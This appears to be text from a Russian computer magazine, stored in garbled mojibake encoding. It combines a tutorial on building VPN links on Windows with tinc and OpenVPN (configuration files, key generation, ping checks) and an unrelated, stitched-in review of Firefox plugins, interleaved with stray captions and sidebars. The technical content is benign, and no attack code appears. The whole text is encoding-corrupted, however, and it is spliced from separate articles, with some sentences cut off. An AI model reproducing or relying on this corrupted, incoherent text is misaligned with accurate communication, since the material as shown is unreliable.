Çàïóñòè åãî è â ìåíþ «Ïóñê -> Ñåòåâûå ïîäêëþ÷åíèÿ» ïîÿâèòñÿ íîâîå
ñåòåâîå ïîäêëþ÷åíèå, êîòîðîå ÿ ïðåäëàãàþ ñðàçó îáîçâàòü VPN. Ê åãî
íàñòðîéêàì ìû âåðíåìñÿ ÷óòü ïîçæå.
Äåìîí èìååò âñåãî îäèí èñïîëíÿåìûé ôàéë � tincd.exe. Êîìó-òî ýòî ìî-
æåò ïîêàçàòüñÿ ñòðàííûì: âåäü äîëæíà áûòü êàê ñåðâåðíàÿ, òàê è êëè-
åíòñêàÿ ÷àñòü. Îáúÿñíÿåòñÿ ýòî î÷åíü ïðîñòî: ïîâåäåíèå tinc'à ïîë-
íîñòüþ çàâèñèò îò òåõ íàñòðîåê, êîòîðûå óêàçàíû â åãî êîíôèãóðàöèîí-
íûõ ôàéëàõ. Ïîñëå çàïóñêà äåìîí tinc ñ÷èòûâàåò êîìàíäíóþ ñòðîêó è
êîíôèãóðàöèîííûé ôàéë tinc.conf. Åñëè â êîíôèãå åñòü õîòÿ áû îäèí ïà-
ðàìåòð ConnectTo, ïðîãðàììà àâòîìàòè÷åñêè íà÷èíàåò âûïîëíÿòü
ôóíêöèè êëèåíòà è ïûòàåòñÿ ïîäêëþ÷èòüñÿ ê óçëàì, óêàçàííûì ñ ïî-
ìîùüþ ýòîãî ïàðàìåòðà. Â òî æå âðåìÿ íåçàâèñèìî îò òîãî, áûë ëè óêà-
çàí ïàðàìåòð ConnectTo èëè íåò, tinc ïðîäîëæàåò îòñëåæèâàòü âõîäÿ-
ùèå ïîäêëþ÷åíèÿ îò äðóãèõ äåìîíîâ. Ïîëó÷àåòñÿ, ÷òî ðàçíèöû ìåæäó
êëèåíòîì è ñåðâåðîì â tinc'å íåò. Îäíàêî îäíà èç ñòîðîí îáÿçàòåëüíî
äîëæíà áûòü êëèåíòîì, ÷òîáû èíèöèèðîâàòü ïîäêëþ÷åíèå.
×òîáû íå ãðóçèòü òåáÿ íóäíîé òåîðèåé, ïðåäëàãàþ íà äåëå ïîêàçàòü âîç-
ìîæíîñòè òóëçû, ïîäíÿâ VPN-ñîåäèíåíèå ìåæäó äâóìÿ ïîäñåòÿìè. Ïàðà-
ìåòðû ïåðâîé ïîäñåòè: 192.168.0.1/24, ìàñêà ïîäñåòè � 255.255.255.0.
Ïàðàìåòðû âòîðîé: 192.168.0.2/24, ìàñêà ïîäñåòè � 255.255.255.0. Äå-
ìîí tinc íóæíî óñòàíîâèòü íà êàæäîé èç íèõ è ëèøü ïîñëå ýòîãî ïðèñòó-
ïàòü ê êîíôèãóðèðîâàíèþ.

Â ñàìîì ïðîñòîì ñëó÷àå ôàéë êîíôèãóðàöèè tinc.conf âûãëÿäèò ñëåäóþ-
ùèì îáðàçîì:

Name = office
Interface = VPN
ConnectTo = home

Ïàðàìåòð Name îáîçíà÷àåò èìÿ óçëà â VPN-ïîäêëþ÷åíèè. Îíî ñîâåð-
øåííî íå îáÿçàòåëüíî äîëæíî ñîâïàäàòü ñ èìåíåì êîìïüþòåðà èëè
÷åì-ëèáî åùå, íî äîëæíî áûòü óíèêàëüíûì. Òàê, åñëè ïåðâûé êîìïüþ-
òåð èìååò èìÿ office, òî âòîðîé óìåñòíî áóäåò íàçâàòü home. Ñ ïîìîùüþ
âòîðîãî ïàðàìåòðà � Interface � âûáèðàåòñÿ ñîåäèíåíèå, êîòîðîå áó-
äåò èñïîëüçîâàòüñÿ äëÿ ïîäíÿòèÿ VPN-êàíàëà. Ïðîùå ãîâîðÿ, íóæíî
óêàçàòü èìÿ ñîåäèíåíèÿ, èñïîëüçóþùåå âèðòóàëüíîå ñåòåâîå óñòðîé-
ñòâî (TAP-Win32). Åñëè òû ïîñëåäîâàë ìîåìó ñîâåòó è ïåðåèìåíîâàë
åãî â VPN, òî ïàðàìåòð äîëæåí èìåòü çíà÷åíèå, êàê ó ìåíÿ â ïðèìåðå.
Î ïàðàìåòðå ConnectTo ÿ óæå ãîâîðèë: îí óêàçûâàåò èìÿ VPN-óçëà, ê êî-
òîðîìó áóäåò îñóùåñòâëÿòüñÿ ïîäêëþ÷åíèå. Íåñëîæíî äîãàäàòüñÿ, êàê
áóäåò âûãëÿäåòü êîíôèã íà äðóãîì VPN-óçëå:

Name = home
Interface = VPN
ConnectTo = office

Â äàííîì ñëó÷àå îáà óçëà èíèöèèðóþò âçàèìíîå ïîäêëþ÷åíèå � ýòî íå
âîçáðàíÿåòñÿ. Âåðíåìñÿ ê ïàðàìåòðó name: åãî çíà÷åíèÿ home è office
ïðåäñòàâëÿþò ñîáîé ñèìâîëè÷åñêèå èìåíà, êîòîðûå äåêëàðèðóþò íàçâà-
íèÿ VPN-êëèåíòîâ, íî ñàìè ïî ñåáå íè÷åãî íå çíà÷àò. Äëÿ êîíêðåòíîãî
îïèñàíèÿ óçëîâ èñïîëüçóåòñÿ âòîðîé òèï êîíôèãóðàöèîííûõ ôàéëîâ,
ðàñïîëàãàþùèõñÿ â äèðåêòîðèè C:\Program Files\tinc\hosts. Íàïðèìåð,
êîíôèã, êîòîðûé îïèñûâàåò VPN-óçåë home, ëåæèò çäåñü � C:\Program
Files\tinc\hosts\home. Ïàðàìåòðû office'à îáîçíà÷åíû â ôàéëå \hosts\office
è ò.ä. Ïî óìîë÷àíèþ òàêèõ ôàéëîâ íå ñóùåñòâóåò, ïîýòîìó èõ íóæíî çà-
äàòü ñàìîñòîÿòåëüíî. Åñëè âåðèòü äîêóìåíòàöèè, òî ñ èõ ïîìîùüþ ìîæ-
íî ïðîïèñàòü äîâîëüíî ìíîãî ïàðàìåòðîâ VPN-óçëà, îäíàêî â íàøåì
ñëó÷àå áóäåò äîñòàòî÷íî îäíîãî èç íèõ � subnet.

Ôàéë home:
Subnet = 192.168.0.1/24
Ôàéë office:
Subnet = 192.168.1.1/24

óïðàâëåíèå ïîëüçîâàòåëÿìè â
Windows 2003 Server îñóùåñòâëÿ-
åòñÿ ÷åðåç ñëóæáó êàòàëîãîâ

ãåíåðàöèÿ êëþ÷åé ïðîøëà óñïåøíî

â êà÷åñòâå àâòîðèçèðîâàííûõ
þçåðîâ ìîæíî âûáðàòü íåêîòîðûõ
ëîêàëüíûõ ïîëüçîâàòåëåé. À ìîæ-
íî ïðîïèñàòü â ñèñòåìó íîâûõ, íà-
æàâ íà êíîïêó «Äîáàâèòü»

ñàìîãî ãëàâíîãî: ðàçðåøàåì 
âèðòóàëüíûå ÷àñòíûå ñåòè
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Âñå îñòàëüíûå ïàðàìåòðû â ñëó÷àå Windows íåàêòóàëüíû, ïîñêîëüêó çà-
äàþòñÿ ñ ïîìîùüþ âèðòóàëüíîãî ñåòåâîãî ñîåäèíåíèÿ, êîòîðûì ìû ñåé-
÷àñ è çàéìåìñÿ. Îòêðîé «Ñåòåâûå ïîäêëþ÷åíèÿ» è ñðàçó ïåðåõîäè â
ñâîéñòâà TCP/IP âèðòóàëüíîãî àäàïòåðà. Ñàìîå âàæíî çäåñü � óñòàíî-
âèòü íà êàæäîì êîìïüþòåðå ìàñêó ïîäñåòè � 255.255.0.0. Âûáîð IP-àä-
ðåñîâ íå ñòîëü êðèòè÷åí, ïðîñòî âûáåðè èõ èç ñîîòâåòñòâóþùèõ ïîäñå-
òåé (äëÿ home � 192.168.0.*, äëÿ office � 192.168.1.*).
Êàçàëîñü áû, âñå � ìîæíî çàïóñêàòü tinc íà âñåõ ìàøèíàõ è íà÷èíàòü
ðàáîòàòü. À âîò è íåò! Äëÿ ïîëíîöåííîé ðàáîòû VPN è øèôðîâàíèÿ òðà-
ôèêà íåîáõîäèìî íàëè÷èå äâóõ êëþ÷åé: îòêðûòîãî è çàêðûòîãî. Ñãåíå-
ðèðîâàòü òàêèå êëþ÷è ìîæíî êîìàíäîé:

tincd -K

Tincd ñîçäàñò 2 1024-áèòíûõ êëþ÷à è ñïðîñèò, êóäà èõ ñëåäóåò ñîõðà-
íèòü. Ïðîãðàììîé òàêæå áóäóò ïðåäëîæåíû ïóòè ïî óìîë÷àíèþ, è ñ íè-
ìè âïîëíå ìîæíî ñîãëàñèòüñÿ. Äëÿ ýòîãî äîñòàòî÷íî äâàæäû íàæàòü íà
êëàâèøó <Enter>. Â ðåçóëüòàòå èìååì äâà ôàéëà rsa_key.pub,
rsa_key.priv. Çàêðûòûé êëþ÷ (rsa_key.priv) îñòàåòñÿ íà ñåðâåðíîé ìàøè-
íå, â òî âðåìÿ êàê îòêðûòûé (rsa_key.pub) ðàñïðîñòðàíÿåòñÿ âñåì äîâå-
ðåííûì ëèöàì, òî åñòü êëèåíòàì (èäåíòèôèêàöèÿ êëèåíòîâ îñóùåñòâëÿ-
åòñÿ ïî îòêðûòîìó êëþ÷ó).  Èòàê, ïàðàìåòðû ñîåäèíåíèÿ îáîçíà÷åíû,
êëþ÷è ðàçîñëàíû � ìîæíî ïîäíèìàòü ñîåäèíåíèå. Äëÿ ýòîãî çàïóñêàé
íà îáåèõ ìàøèíàõ äåìîí tincd.exe è æäè, ïîêà ìàøèíû ñîåäèíÿòñÿ äðóã
ñ äðóãîì. Ïðîöåññ íå çàéìåò ìíîãî âðåìåíè, è î÷åíü ñêîðî òû áóäåøü
íàñëàæäàòüñÿ ðåçóëüòàòîì. :) Êñòàòè ãîâîðÿ, ïîñëå ïåðâîãî çàïóñêà tinc
àâòîìàòè÷åñêè ïðîïèøåò ñåáÿ â ñåðâèñû è áóäåò àâòîìàòè÷åñêè çàïóñ-
êàòüñÿ âî âðåìÿ çàïóñêà Windows.

[çíàêîìñòâî ñ OpenVPN] Tinc � ýòî, áåçóñëîâíî, îòëè÷íàÿ, íî ïîêà
åùå äîâîëüíî ýêçîòè÷åñêàÿ ðåàëèçàöèÿ VPN. Çíà÷èòåëüíî áîëüøåå
ðàñïðîñòðàíåíèå ïîëó÷èëà ñèñòåìà OpenVPN. Òû íàâåðíÿêà âñòðå÷àë
åå íàçâàíèå â èíåòå è íà ñòðàíèöàõ íàøåãî æóðíàëà � ýòî ëó÷øåå äî-
êàçàòåëüñòâî ìîèõ ñëîâ. Íàäî ñêàçàòü, ÷òî ñëàâó îíà çàñëóæèëà íå ñëó-
÷àéíî. Ýòî âîèñòèíó î÷åíü ìîùíàÿ è íàäåæíàÿ ðåàëèçàöèÿ VPN SSL ñî-
åäèíåíèé. OpenVPN èìååò äâà ðåæèìà çàùèòû. Ïåðâûé áàçèðóåòñÿ íà
SSL/TLS òåõíîëîãèÿõ ñ èñïîëüçîâàíèåì ñåðòèôèêàòîâ è êëþ÷åé. Âòîðîé
� íà èñïîëüçîâàíèè ñòàòè÷åñêèõ êëþ÷åé. ß ðàññìîòðþ âòîðîé âàðèàíò
êàê íàèáîëåå ïðîñòîé. Îäíàêî âàðèàíò ñ SSL-ñåðòèôèêàòàìè íè â êîåì
ñëó÷àå íå ñòîèò ñáðàñûâàòü ñî ñ÷åòîâ, òàê êàê îí ñ÷èòàåòñÿ áîëåå áåçî-
ïàñíûì. Îñòàâèì åãî äëÿ ñàìîñòîÿòåëüíîãî îñâîåíèÿ. Â êà÷åñòâå ïðè-
ìåðà ìû âîçüìåì äîâîëüíî òðèâèàëüíóþ çàäà÷ó. ß ïðåäëàãàþ ðàññìîò-
ðåòü ñëó÷àé, êîãäà òðåáóåòñÿ íàëàäèòü øèôðîâàííûé êàíàë ñâÿçè ìåæ-
äó äâóìÿ óçëàìè Èíòåðíåòà èëè ëîêàëüíîé ñåòè. Íàäî ñêàçàòü, ÷òî ýòî
íàèáîëåå ÷àñòàÿ ñèòóàöèÿ.

[óñòàíîâêà äåìîíà] Êàê ïîëàãàåòñÿ, íà÷íåì ñ ïðîöåññà óñòàíîâêè
ïðîãðàììû, êîòîðûé ñîâåðøåííî èäåíòè÷åí êàê äëÿ ñåðâåðíîé, òàê è
êëèåíòñêîé ñòîðîíû. Äèñòðèáóòèâ OpenVPN ðàñïðîñòðàíÿåòñÿ â âèäå
îáû÷íîãî èñïîëíÿåìîãî ôàéëà, ïîýòîìó åäèíñòâåííîå, ÷òî îò òåáÿ òðå-
áóåòñÿ, � çàïóñòèòü åãî è ñëåäîâàòü èíñòðóêöèÿì ìàñòåðà. Äëÿ óäîá-

ñòâà äàëüíåéøåé íàñòðîéêè ïðîã-
ðàììó ëó÷øå áóäåò óñòàíîâèòü íå
â äèðåêòîðèþ, ïðåäëîæåííóþ óñ-
òàíîâùèêîì ïî óìîë÷àíèþ, à â
ïàïêó c:\OpenVPN. Åñëè âî âðåìÿ
óñòàíîâêè ïîÿâÿòñÿ îêíà îá óñòà-
íîâêå íîâîãî îáîðóäîâàíèÿ, íå ïó-
ãàéñÿ. Äåëî â òîì, ÷òî OpenVPN
ïðîïèøåò â ñèñòåìó äðàéâåð äëÿ
âèðòóàëüíîãî ñåòåâîãî àäàïòåðà
� TAP-Win32 Adapter V8. Òî÷íî òà-
êîãî æå, êàê è â ñëó÷àå tinc.

Ïîñëå çàâåðøåíèÿ óñòàíîâêè ïðèëîæåíèÿ, ïåðåõîäè â «Ñåòåâûå ïîäêëþ-
÷åíèÿ» è íàéäè òàì òîëüêî ÷òî ñîçäàííîå ïîäêëþ÷åíèå. Îíî ñðàçó áðîñèò-
ñÿ òåáå â ãëàçà áëàãîäàðÿ íàäïèñè «Ñåòåâîé êàáåëü íå ïîäêëþ÷åí». Íàñ
áóäóò èíòåðåñîâàòü íàñòðîéêè ïðîòîêîëà TCP/IP, â êîòîðûõ íåîáõîäèìî
óêàçàòü óíèêàëüíûå ïîäñåòü è ìàñêó ïîäñåòè äëÿ íàøåé âèðòóàëüíîé ñåòè.
Ïóñêàé ýòî áóäóò ïîäñåòü 10.3.0.1/24 è ìàñêà ïîäñåòè 255.255.255.0. Ñîîò-
âåòñòâåííî, íà îäíîé èç ìàøèí â êà÷åñòâå IP-àäðåñà ìû óêàçûâàåì
10.3.0.1, à íà äðóãîé � 10.3.0.2 (âûáîð IP-àäðåñîâ ïðîèçâîëåí, ãëàâíîå,
÷òîáû îíè «ïîïàëè» â âûáðàííóþ íàìè ïîäñåòü). Ìàñêà ïîäñåòè â îáîèõ
ñëó÷àÿõ îäèíàêîâà � 255.255.255.0. Åùå ðàç àêöåíòèðóþ âíèìàíèå, ÷òî
âûáðàííàÿ ïîäñåòü íå äîëæíà èñïîëüçîâàòüñÿ â ðåàëüíîé ëîêàëüíîé ñåòè.
Â ïðîòèâíîì ñëó÷àå VPN-ñîåäèíåíèå òû óñòàíîâèòü íå ñìîæåøü!
Òåïåðü íóæíî ñãåíåðèðîâàòü ñòàòè÷åñêèé êëþ÷, êîòîðûé áóäåò èñïîëüçîâàòü-
ñÿ äëÿ øèôðîâàíèÿ òðàôèêà. Äëÿ ýòîãî â êîìàíäíîé ñòðîêå íàáåðè êîìàíäó:

C:\OpenVPN>openvpn.exe --pause-exit --verb 3 --genkey --secret
«C:\OpenVPN\config\key.txt"

OpenVPN ïðàêòè÷åñêè ìãíîâåííî ñîçäàñò 2048-áèòíûé êëþ÷ è ïîìåñòèò
åãî â ôàéë key.txt. Ýòîò êëþ÷ íåîáõîäèìî ïî áåçîïàñíîìó êàíàëó ïåðå-
äàòü íà óäàëåííûé ñåðâåð. Âàðèàíòîâ çäåñü ìíîãî: ìîæíî, íàïðèìåð,
ïðèíåñòè åãî òóäà íà äèñêåòå :).
Çàêîí÷èâ ñ êëþ÷àìè, ïðèñòóïàåì ê êîíôèãóðàöèîííûì ôàéëàì, ïðèìåð
êîòîðûõ ðàçðàáîò÷èêè ëþáåçíî âûëîæèëè â ïàïêå c:\OpenVPN\sample-
config\sample.ovpn. Íà÷èíàòü íóæíî ñ òîãî, ÷òî ýòîò ôàéë ïåðåèìåíîâàòü
â config.ovpn è ïåðåìåñòèòü â äèðåêòîðèþ c:\OpenVPN\config. Ïîñëå ýòî-
ãî îòêðîé åãî â òåêñòîâîì ðåäàêòîðå è ïðèñòóïàé ê ðåäàêòèðîâàíèþ:

remote <IP-àäðåñ óäàëåííîãî êîìïüþòåðà>
# Ïàðàìåòð óêàçûâàåò ðåàëüíûé IP-àäðåñ óäàëåííîãî êîìïüþòåðà, 
ê êîòîðîìó áóäåò îñóùåñòâëÿòüñÿ ïîäêëþ÷åíèå.
dev tap
# Òàê íàçûâàåì òèï èíòåðôåéñà. OpenVPN ïîääåðæèâàåò íåñêîëüêî
âàðèàöèé, íî â íàøåì ñëó÷àåì íàì èíòåðåñåí èìåííî dev tap
ifconfig 10.3.0.1 255.255.255.0
# IP-àäðåñ è ìàñêè ïîäñåòè, óêàçàííûå ñ ïîìîùüþ ýòîãî ïàðàìåòðà,
áóäóò ïðèñâîåíû äàííîìó êîìïüþòåðó ïî VPN-ñîåäèíåíèþ.
secret c:\\openvpn\\config\\key.txt
# Àáñîëþòíûé ïóòü äî ôàéëà, ñîäåðæàùåãî êëþ÷. Îáðàòè âíèìàíèå
íà äâîéíûå ñëýøè!
ping 10
# Ïàðàìåòð ping óêàçûâàåò íà òî, ÷òî óäàëåííûé êîìïüþòåð êàæäûå
äåñÿòü ñåêóíä áóäåò îïðàøèâàòüñÿ ñïåöèàëüíûì ping-ïàêåòîì äëÿ
ïðîâåðêè ñîåäèíåíèÿ.
verb 3
# Óðîâåíü äåòàëèçàöèè log-ôàéëîâ (ìîæåò ïðèíèìàòü çíà÷åíèÿ îò 0 äî 9)
mute 10
comp-lzo
# Ðàçðåøàåì êîìïðåññèþ òðàôèêà

Íà äðóãîé ìàøèíå ýòîò ôàéë áóäåò èìåòü ñëåäóþùèé âèä:

remote <IP-àäðåñ ïåðâîãî êîìïüþòåðà>
dev tap
ifconfig 10.3.0.2 255.255.255.0
secret c:\\openvpn\\config\\key.txt
ping 10
verb 3
mute 10
comp-lzo

Ïî áîëüøîìó ñ÷åòó, êîíôèãóðàöèÿ OpenVPN çàâåðøåíà. Ñêðåñòè ïàëü-
öû è â êîìàíäíîé ñòðîêå êàæäîãî èç êîìïüþòåðîâ íàáåðè:

openvpn --config c:\openvpn\config\config.ovpn

Åñëè â òðåå èñ÷åç çíà÷îê ñåòåâîãî ïîäêëþ÷åíèÿ ñ íàäïèñüþ «Ñåòåâîé
êàáåëü íå ïîäêëþ÷åí», ìîæåøü íà÷èíàòü ðàäîâàòüñÿ. Ýòî ïåðâûé ïðèç-
íàê òîãî, ÷òî âñå çàðàáîòàëî, êàê íàäî. Äëÿ áîëüøåé óâåðåííîñòè ïðî-
ïèíãóé óäàëåííûå ìàøèíû ïî èõ IP-àäðåñàì âíóòðè VPN-ñåòè. Òî åñòü
çàïóñòè ñ ïåðâîé ìàøèíû ping 10.3.0.2. À ñî âòîðîé � ping 10.3.0.1

[âìåñòî çàêëþ÷åíèÿ] Öåëü äàííîé ñòàòüè � ïîêàçàòü, ÷òî âèíäà âïîëíå óñ-
ïåøíî ìîæåò èñïîëüçîâàòüñÿ äëÿ îðãàíèçàöèè VPN/OpenVPN ïîäêëþ÷åíèé.
Ìàòåðèàë íè â êîåì ñëó÷àå íå ïðåòåíäóåò íà ïîëíûé ìàíóàë ê äåéñòâèþ. Ýòî
íåâîçìîæíî â ïðèíöèïå, òàê êàê î÷åíü ìíîãîå çàâèñèò îò êîíêðåòíûõ íàñòðî-
åê ñåòè, åå òîïîëîãèè è òîãî, ÷òî òû õî÷åøü äîáèòüñÿ, èñïîëüçóÿ VPN

óñòàíîâêà OpenVPN

çàïóñê OpenVPN. Ñâÿçü óñòàíîâëåíà





åñëè ïîçâîëèò «Ñâÿòîé Êîííåêòèé»
è Ìàðñ áóäåò â òðåòüåé ôàçå Ëóíû,
òî ïîñëå íîâîãî 2006-ãî ãîäà, îòîé-
äÿ îò ïðàçäíè÷íîãî ïîõìåëüÿ, ÷åð-
êàíó ïàðó ñòðîê â êîäèíã î íàïèñà-
íèè ýòèõ ñàìûõ ïëàãèíîâ, òîãäà è
ðàññìîòðèì âñå ïîäðîáíåå. 
Â äîâåñîê ê ñïëîøíûì ïðåèìó-
ùåñòâàì, ñêàæó, ÷òî äëÿ web-ðàç-
ðàáîò÷èêîâ FireFox ñòàë àáñîëþò-
íî íåçàìåíèìîé óòèëèòîé äëÿ îò-
ëàäêè, òåñòèðîâàíèÿ è ðàçðàáîò-
êè ñàéòîâ. Äëÿ ïîëüçîâàòåëåé (äà
è íå òîëüêî) � îòëè÷íîé ïëàò-
ôîðìîé, êîòîðàÿ ïîçâîëÿåò ñîç-
äàòü áðàóçåð ñâîåé ìå÷òû, íå
ïðèáåãàÿ ê ðàçðàáîòêå ñîáñòâåí-
íîãî äâèæêà è îáîëî÷êè. À äëÿ
ïðîãðàììåðîâ � åùå îäíîé çàáà-
âîé, ïîçâîëÿþùåé ïîêàçàòü ñâîå
ìàñòåðñòâî â íàïèñàíèÿ ïëàãèíîâ
íà JavaScript è XUL (ñìîòðè âðåç-
êó). Òåáå, êàê íàñòîÿùåìó õàêåðó,
íóæíî âñå ýòî, à ïîòîìó íå áóäåì
òÿíóòü êîòà çà õâîñò è ðàññìîòðèì
íàèáîëåå èíòåðåñíûå ðàñøèðå-
íèÿ ïðÿìî ñåé÷àñ.

[áåçîïàñíîñòü] Åñòåñòâåííî, ÷òî ñíà÷àëà ìû ïîçàáîòèìñÿ î ñîáñòâåííîé
áåçîïàñíîñòè è îáëà÷èì FireFox â íåïðîáèâàåìûå äîñïåõè â ëèöå ïëàãèíîâ
NoScript è Adblock.
Ñåðôÿ èíåò â ïîèñêàõ çàâåòíîé õàëÿâû, ïîñòîÿííî íàòûêàåøüñÿ íà
çëîâðåäíóþ ðåêëàìó. Ìîæíî, êîíå÷íî, îáâåøàòüñÿ êó÷åé ôàéðâîëîâ
è áëîêåðîâ ðåêëàìû, íî ãîðàçäî ýôôåêòèâíåå, íà ìîé âçãëÿä, âñå ýòî
ñïðÿòàòü â áðàóçåð â âèäå Adblock. Ýòîò ïëàãèí ïîçâîëÿåò áëîêèðî-
âàòü çàãðóçêó áàííåðîâ, àíèìàöèè, ôðåéìîâ è èçîáðàæåíèé, èñïîëü-
çóÿ ôèëüòðû àäðåñíîé ñòðîêè ïî ïîäñòðîêàì è ðåãóëÿðíûì âûðàæå-
íèÿì. Ýòè ôèëüòðû ìîæíî ñîçäàâàòü ñàìîìó, áëîêèðóÿ êàæäîå èçîá-
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Êîíå÷íî, ïîìèìèî óæå ïåðå÷èñëåííîãî, åñòü â
FireFox åùå îäèí ïëþñ: ïîðòû FireFox'a åñòü è
ïîä Windows, è ïîä Linux, è ïîä MacOS. Äà âî-
îáùå, ìîæíî åãî ñîáðàòü ïî÷òè íà ëþáîé *nix-
like ñèñòåìå, åñëè ó òåáÿ ïðÿìûå ðóêè è êîìïè-
ëÿòîð gcc â íèõ.
Âñÿ ñîëü ýòîãî áðàóçåðà êàê ðàç è ñîñòîèò â åãî
ïëàãèíàõ. Ïëàãèí â ïîíèìàíèè ôàéðôîêñà �
ýòî íåáîëüøàÿ íàäñòðîéêà, êîòîðàÿ äîáàâëÿåò
áðàóçåðó íîâûå ôóíêöèîíàëüíûå âîçìîæíîñòè
è ôèøêè, íà÷èíàÿ êàêîé-íèáóäü ïðîñòåíüêîé
êíîïêîé íà ïàíåëè, ôèëüòðàöèåé ðåêëàìû èëè
óïðàâëåíèåì çàêà÷êàìè è çàêàí÷èâàÿ ñîâåð-
øåííî íîâîé ôóíêöèåé, òàêîé êàê IRC-êëèåíò
èëè óïðàâëåíèå ìåäèàïëååðîì.
Ñîáñòâåííî, ïëàãèí � ýòî îäèí àðõèâ ñ ðàñøè-
ðåíèåì *.xpi (ïðîèçíîñèòñÿ êàê «õèïïè»), êîòî-
ðûé óñòàíàâëèâàåòñÿ ïðîñòûì îòêðûòèåì ÷å-
ðåç ãëàâíîå ìåíþ «Ôàéë -> Îòêðûòü». Ïîñëå
ïåðåçàïóñêà áðàóçåðà ïëàãèí ãîòîâ ê ïðèìåíå-
íèþ. Íàçâàâ ðàñøèðåíèå àðõèâîì, ÿ îòíþäü íå
îøèáñÿ: ïåðåèìåíóé *.xpi â *.zip è òû óâèäèøü
âñå âíóòðåííîñòè ïëàãèíà. Íàïðèìåð plugin.xpi,
ñîäåðæèò ñëåäóþùåå:

plugin.xpi:
install.rdf
chrome.manifest
chrome/plugin.jar
components/...
defaults/...

install.rdf � XML ôàéë, êîòîðûé ñîäåðæèò èí-
ôîðìàöèþ î ïëàãèíå. chrome.manifest � òåêñòî-
âûé ôàéë, êîòîðûé ñîîáùàåò ôàéðôîêñó, êàêèå
îâåðëåè, ñòèëè è ëîêàëè ïîäãðóçèòü, ÷òîáû
îáåñïå÷èòü èñïîëüçîâàíèå ïëàãèíà. defaults/ ñî-
äåðæèò íàñòðîéêè ïî óìîë÷àíèþ. Ìîæåò áûòü,

ÇÄÎÐÎÂ, ÌÈË ×ÅËÎÂÅÊ! ÊÀÊ ÒÛ, ÍÀÂÅÐÍÎÅ,
ÄÎÃÀÄÀËÑß, ÑÅÃÎÄÍß ß ÐÀÑÑÊÀÆÓ ÒÅÁÅ 
Î ÏËÀÃÈÍÀÕ ÄËß ËÓ×ØÅÃÎ Â ÌÈÐÅ ÁÐÀÓÇÅÐÀ
� FIREFOX. ÕÎÒß ÏÎÄ ÏËÀÃÈÍÎÌ ÄËß FIREFOX
ÎÁÛ×ÍÎ ÏÎÍÈÌÀÞÒ ÍÅÌÍÎÃÎ ÄÐÓÃÎÅ, 
ß ÐÀÇËÈ×ÈÉ ÌÅÆÄÓ ÍÈÌÈ È ÐÀÑØÈÐÅÍÈßÌÈ
ÄËß ÏÐÎÑÒÎÒÛ ÄÅËÀÒÜ ÍÅ ÁÓÄÓ. ÂÑÅ
ÍÅÂÅÐÍÛÅ ÌÎÃÓÒ ÈÄÒÈ ËÅÑÎÌ ÑÎ ÑÂÎÅÉ
ÎÏÅÐÎÉ È Ò.Ï., ÒÀÊ ÊÀÊ ÈÄÅÎËÎÃÈ×ÅÑÊÈÕ
ÑÏÎÐÎÂ ÇÀÒÅÂÀÒÜ ß ÍÅ ÍÀÌÅÐÅÍ.  ÒÅÕ ÆÅ,
ÊÒÎ ÄÓØÎÉ È ÑÅÐÄÖÅÌ ÎÑÒÀÂÀËÑß Ñ ÝÒÈÌ
ÂÅËÈÊÎËÅÏÍÛÌ ÁÐÀÓÇÅÐÎÌ, È ÓÁÅÆÄÀÒÜ ÍÅ
ÍÀÄÎ: ÎÍÈ È ÒÀÊ ÇÍÀÞÒ, ×ÒÎ FIREFOX
(ÊÑÒÀÒÈ, Â ÍÀÐÎÄÅ ÝÒÎ ×ÓÄÎ ÅÙÅ ØÓÒËÈÂÎ
ÊËÈ×ÓÒ FRAERFOX)  � ÑÀÌÛÉ ÁÛÑÒÐÛÉ, ÑÀÌÛÉ
ÒÂÈÊÀÅÌÛÉ È ÑÀÌÛÉ-ÑÀÌÛÉ ÐÀÑØÈÐßÅÌÛÉ
ÁÐÀÓÇÅÐ Â ÌÈÐÅ | ShadOS (shados@real.xakep.ru)

Ëèñüè ïïëàãèíû

Îáçîð íàèáîëåå
èíòåðåñíûõ ïëàãèíîâ
äëÿ FireFox

×ÒÎ ÒÒÀÊÎÅ XXUL ÈÈ ÄÄËß
×ÅÃÎ ÎÎÍ ÍÍÓÆÅÍ?
XUL ðàñøèôðîâûâàåòñÿ
êàê XML User-interface
Language. Ýòî ïîäìíîæå-
ñòâî XML-ÿçûêà, èñïîëü-
çóåìîå äëÿ îïèñàíèÿ èí-
òåðôåéñà. Èíòåðôåéñû
íà îñíîâå ýòîãî ÿçûêà
óìåþò ðèñîâàòü ïðîãðàì-
ìû, îñíîâàííûå íà âíóò-
ðåííåì äâèæêå Mozill'û
ïîä íàçâàíèåì Gecko.
Ýòîò âíóòðåííèé äâèæîê
èñïîëüçóåòñÿ â òàêèõ
áðàóçåðàõ, êàê :

- Netscape's Communicator
- Mozilla/Mozilla FireFox
- Camino 
- Jazilla (àíàëîã Mozilla, 
íàïèñàííûé íà Java),

à òàêæå ïðî÷èå èç ýòîé
ïëåÿäû. Åãî ìîæíî òàê-
æå èñïîëüçîâàòü îòäåëü-
íî, âíå áðàóçåðîâ, êàê
ïîñòóïàþò â ñðåäå ðàçðà-
áîòêè ActiveState
Komodo.

Êàê âñåãäà ìû ñî Ñòåïîì
ïîçàáîòèëèñü î êîíòåíòå
äèñêà. Âñå ïîñëåäíèå âåð-
ñèè ïëàãèíîâ òû íàéäåøü
íà íåì.

www.mozilla.org � îôèöè-
àëüíûé ñàéò Mozilla.
www.mozdev.org � äîì
äëÿ ìíîæåñòâà Mozilla-ðàñ-
øèðåíèé. 
www.mozilla.ru � ñàéò ðóñ-
ñêîãî îáùåñòâà ïîääåðæêè
ïðîäóêòîâ Mozilla.



[êà÷àòü � íå ïåðåêà÷àòü] Ñëåäóþùèì ïëàãèíîì, áåç êîòîðîãî ÿ
ñîâñåì íå ïðåäñòàâëÿþ æèçíè ñ FireFox, ñòàë FlashGot. Åñëè òû ïðèâûê
èñïîëüçîâàòü ïðàâèëüíûå ìåíåäæåðû çàêà÷åê, à íå ãåìîððîèòüñÿ ñî
âñòðîåííûìè êà÷àëêàìè, òî ýòî òâîé âûáîð. FlashGot ïîääåðæèâàåò
ìíîæåñòâî âíåøíèõ ìåíåäæåðîâ çàêà÷åê äëÿ Windows, Linux, MacOS è
FreeBSD, ñðåäè êîòîðûõ FlashGet (èìåííî äëÿ ýòîãî ìåíåäæåðà è áûë
èçíà÷àëüíî ðàçðàáîòàí FlashGot), ReGet, Downloader for X è äðóãèå, íå
ìåíåå èçâåñòíûå (ïîëíûé ñïèñîê ìîæíî ïîñìîòðåòü íà
www.flashgot.net). Âñÿ ôóíêöèîíàëüíîñòü FlashGot ñâîäèòñÿ ê òðåì íî-
